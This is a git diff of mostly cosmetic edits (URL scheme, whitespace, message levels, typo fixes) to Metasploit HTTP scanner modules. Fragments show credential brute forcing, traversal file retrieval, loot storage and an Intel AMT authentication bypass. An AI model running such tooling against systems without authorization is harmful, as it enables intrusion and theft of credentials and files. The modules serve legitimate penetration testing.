 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb
index 2cc1f3d6d0..540ba6402d 100644
--- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb
+++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb
index e0ce51e87e..4929f9c3e2 100644
--- a/modules/auxiliary/scanner/http/file_same_name_dir.rb
+++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -20,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
         in a given directory path named as the same name of the
         directory.
 
-        Only works if PATH is differenet than '/'.
+        Only works if PATH is different than '/'.
       },
       'Author' 		=> [ 'et [at] metasploit.com' ],
       'License'		=> BSD_LICENSE))
@@ -87,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
         }, 20)
 
         if (res and res.code >= 200 and res.code < 300)
-          print_status("Found #{wmap_base_url}#{tpath}#{testfext}")
+          print_good("Found #{wmap_base_url}#{tpath}#{testfext}")
 
           report_web_vuln(
             :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb
index 12b81c4fef..91e6b5498b 100644
--- a/modules/auxiliary/scanner/http/files_dir.rb
+++ b/modules/auxiliary/scanner/http/files_dir.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -161,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
               if res.code.to_i == 400  and ecode != 400
                 print_error("Server returned an error code. #{wmap_base_url}#{tpath}#{testfext} #{res.code.to_i}")
               else
-                print_status("Found #{wmap_base_url}#{tpath}#{testfext} #{res.code.to_i}")
+                print_good("Found #{wmap_base_url}#{tpath}#{testfext} #{res.code.to_i}")
 
                 report_web_vuln(
                   :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb
index 1950f51889..bd969ef53a 100644
--- a/modules/auxiliary/scanner/http/frontpage_login.rb
+++ b/modules/auxiliary/scanner/http/frontpage_login.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::WmapScanServer
@@ -117,7 +114,7 @@ class MetasploitModule < Msf::Auxiliary
 
       case retcode
         when /^200/
-          print_status("#{info} FrontPage ACCESS ALLOWED [#{retcode}]")
+          print_good("#{info} FrontPage ACCESS ALLOWED [#{retcode}]")
           # Report a note or vulnerability or something
           # Not really this one, but close
           report_vuln(
@@ -146,5 +143,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb
index e24f322ae2..d059d2b0f6 100644
--- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb
+++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb
index 01b894f1b4..cc245ceed6 100644
--- a/modules/auxiliary/scanner/http/git_scanner.rb
+++ b/modules/auxiliary/scanner/http/git_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/gitlab_login.rb b/modules/auxiliary/scanner/http/gitlab_login.rb
index 448d7e4382..30317f8a17 100644
--- a/modules/auxiliary/scanner/http/gitlab_login.rb
+++ b/modules/auxiliary/scanner/http/gitlab_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
diff --git a/modules/auxiliary/scanner/http/gitlab_user_enum.rb b/modules/auxiliary/scanner/http/gitlab_user_enum.rb
index ce8d4a01af..36843a4965 100644
--- a/modules/auxiliary/scanner/http/gitlab_user_enum.rb
+++ b/modules/auxiliary/scanner/http/gitlab_user_enum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb
index 25d6dfca67..160541dddc 100644
--- a/modules/auxiliary/scanner/http/glassfish_login.rb
+++ b/modules/auxiliary/scanner/http/glassfish_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/glassfish'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -189,5 +188,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip) unless @scanner.version.blank?
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb
index a4815ffbe5..96583d9644 100644
--- a/modules/auxiliary/scanner/http/goahead_traversal.rb
+++ b/modules/auxiliary/scanner/http/goahead_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb
index 7210995556..638a42b284 100644
--- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb
+++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb
index f7e0dc5788..b4f39e10d7 100644
--- a/modules/auxiliary/scanner/http/host_header_injection.rb
+++ b/modules/auxiliary/scanner/http/host_header_injection.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanServer
   include Msf::Auxiliary::Scanner
@@ -21,6 +20,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['CVE', '2016-10073'], # validate, an instance of a described attack approach from the original reference
           ['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html']
         ]
     ))
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb
index 84f2ff51d4..7c58bf252b 100644
--- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb
+++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb
index 493682b0fa..64d9401427 100644
--- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb
+++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb
index 41ec9e2c9f..8345a5ea1d 100644
--- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb
+++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb
index d22e4ccddd..42202b855c 100644
--- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb
+++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb
index d33cad0782..edae29ccff 100644
--- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb
+++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb
index 6582550087..4130458b96 100644
--- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -172,12 +171,11 @@ class MetasploitModule < Msf::Auxiliary
 
       f = ::File.basename(datastore['RFILE'])
       path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-      print_status("#{datastore['RFILE']} saved in #{path}")
+      print_good("#{datastore['RFILE']} saved in #{path}")
       return
     end
 
     print_error("Failed to retrieve the file contents")
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb
index 861c93b030..60c72978a4 100644
--- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb
+++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -122,13 +121,12 @@ class MetasploitModule < Msf::Auxiliary
       end
 
       path = store_loot('hp.sitescope.configuration', 'application/octet-stream', rhost, loot, cid, "#{rhost} HP SiteScope Configuration")
-      print_status("HP SiteScope Configuration saved in #{path}")
+      print_good("HP SiteScope Configuration saved in #{path}")
       print_status("HP SiteScope Configuration is saved as Java serialization data")
       return
     end
 
     print_error("Failed to retrieve the SiteScope Configuration")
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb
index 0a2c2cdd3d..30648bb28d 100644
--- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -107,12 +106,11 @@ class MetasploitModule < Msf::Auxiliary
       end
       f = ::File.basename(datastore['RFILE'])
       path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-      print_status("#{datastore['RFILE']} saved in #{path}")
+      print_good("#{datastore['RFILE']} saved in #{path}")
       return
     end
 
     print_error("Failed to retrieve the file")
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb
index c324d06777..960b6e92c9 100644
--- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb
+++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/smh'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
@@ -182,7 +181,7 @@ class MetasploitModule < Msf::Auxiliary
 
     sys_name = get_system_name(res)
     unless sys_name.blank?
-      print_status("System name detected: #{sys_name}")
+      print_good("System name detected: #{sys_name}")
       report_note(
         :host => ip,
         :type => "system.name",
diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb
index d3c83b1fb4..4a8a9d786e 100644
--- a/modules/auxiliary/scanner/http/http_header.rb
+++ b/modules/auxiliary/scanner/http/http_header.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -72,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
     counter = 0;
     headers_uppercase.each do |h|
       header_string = "#{h[0]}: #{h[1]}"
-      print_status "#{peer}: #{header_string}"
+      print_good "#{peer}: #{header_string}"
 
       report_note(
         :type => "http.header.#{rport}.#{counter}",
@@ -88,5 +87,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good "#{peer}: detected #{counter} headers"
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb
index 71ad29d1df..545ee237f8 100644
--- a/modules/auxiliary/scanner/http/http_hsts.rb
+++ b/modules/auxiliary/scanner/http/http_hsts.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -52,5 +51,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb
index bfc1e49852..d7166d3253 100644
--- a/modules/auxiliary/scanner/http/http_login.rb
+++ b/modules/auxiliary/scanner/http/http_login.rb
@@ -1,16 +1,13 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/http'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb
index 81a2daf00f..65b7562c18 100644
--- a/modules/auxiliary/scanner/http/http_put.rb
+++ b/modules/auxiliary/scanner/http/http_put.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -150,7 +149,7 @@ class MetasploitModule < Msf::Auxiliary
           :exploited_at => Time.now.utc
         )
       else
-        print_error("#{ip}: File doesn't seem to exist. The upload probably failed.")
+        print_error("#{ip}: File doesn't seem to exist. The upload probably failed")
       end
 
     when 'DELETE'
@@ -186,5 +185,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb
index 6faa60f79d..6f075e9b2d 100644
--- a/modules/auxiliary/scanner/http/http_traversal.rb
+++ b/modules/auxiliary/scanner/http/http_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@
 #
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
         [
           ['CHECK',    {'Description' => 'Check for basic directory traversal'}],
           ['WRITABLE', {'Description' => 'Check if a traversal bug allows us to write anywhere'}],
-          ['DOWNLOAD', {'Description' => 'Attempt to download files after bruteforcing a trigger'}],
+          ['DOWNLOAD', {'Description' => 'Attempt to download files after brute forcing a trigger'}],
           ['PHPSOURCE', {'Description' => 'Attempt to retrieve php source code files'}]
         ],
       'DefaultAction'  => 'CHECK'
diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb
index 5f095adfac..d331ecd688 100644
--- a/modules/auxiliary/scanner/http/http_version.rb
+++ b/modules/auxiliary/scanner/http/http_version.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -33,12 +33,11 @@ class MetasploitModule < Msf::Auxiliary
       connect
       res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
       fp = http_fingerprint(:response => res)
-      print_status("#{ip}:#{rport} #{fp}") if fp
+      print_good("#{ip}:#{rport} #{fp}") if fp
       report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)
     rescue ::Timeout::Error, ::Errno::EPIPE
     ensure
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb
index 57692cece9..e7eb5415ab 100644
--- a/modules/auxiliary/scanner/http/httpbl_lookup.rb
+++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb
index 1c9336130a..2114670eb1 100644
--- a/modules/auxiliary/scanner/http/iis_internal_ip.rb
+++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -12,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'        => 'Microsoft IIS HTTP Internal IP Disclosure',
       'Description' => %q{
-        Collect any leaked internal IPs by requesting commonly redirected locs from IIS.
+        Collect any leaked internal IPs by requesting commonly redirected locations from IIS.
       },
       'Author'       => ['Heather Pilkington'],
       'License'     => MSF_LICENSE
diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb
index ece6904621..2eff32c6b2 100644
--- a/modules/auxiliary/scanner/http/influxdb_enum.rb
+++ b/modules/auxiliary/scanner/http/influxdb_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb
index 4dcd767c48..1440edaac9 100644
--- a/modules/auxiliary/scanner/http/infovista_enum.rb
+++ b/modules/auxiliary/scanner/http/infovista_enum.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Auxiliary
       return :abort
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb
index 750c4eeef1..737fdd3306 100644
--- a/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb
+++ b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description' => %q{
         This module scans for Intel Active Management Technology endpoints and attempts
         to bypass authentication using a blank HTTP digest (CVE-2017-5689). This service
-        can be found on ports 16992, 16993 (tls), 623, and 624(tls).
+        can be found on ports 16992, 16993 (tls), 623, and 624 (tls).
       },
       'Author'      => 'hdm',
       'License'     => MSF_LICENSE,
@@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
       proof = res.body.to_s
       proof_hash = nil
 
-      info_keys = res.body.scan(/<td class=r1><p>([^\<]+)<\/p>/).map{|x| x.first.to_s.gsub("&#x2F;", "/") }
+      info_keys = res.body.scan(/<td class=r1><p>([^\<]+)(?:<\/p>)?/).map{|x| x.first.to_s.gsub("&#x2F;", "/") }
       if info_keys.length > 0
         proof_hash = {}
         proof = ""
@@ -106,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
         :proto => 'tcp',
         :name  => "Intel AMT Digest Authentication Bypass",
         :refs  => self.references,
-        :proof => proof
+        :info => proof
       })
 
     rescue ::Timeout::Error, ::Errno::EPIPE
@@ -114,5 +113,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb
index 43d9fe0de4..9cbf995608 100644
--- a/modules/auxiliary/scanner/http/ipboard_login.rb
+++ b/modules/auxiliary/scanner/http/ipboard_login.rb
@@ -1,9 +1,12 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 require 'metasploit/framework/login_scanner/ipboard'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -76,5 +79,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb
index f6dd981946..45e6180f24 100644
--- a/modules/auxiliary/scanner/http/jboss_status.rb
+++ b/modules/auxiliary/scanner/http/jboss_status.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb
index 3c2b251c53..924830721d 100644
--- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb
+++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
+
 class MetasploitModule < Msf::Auxiliary
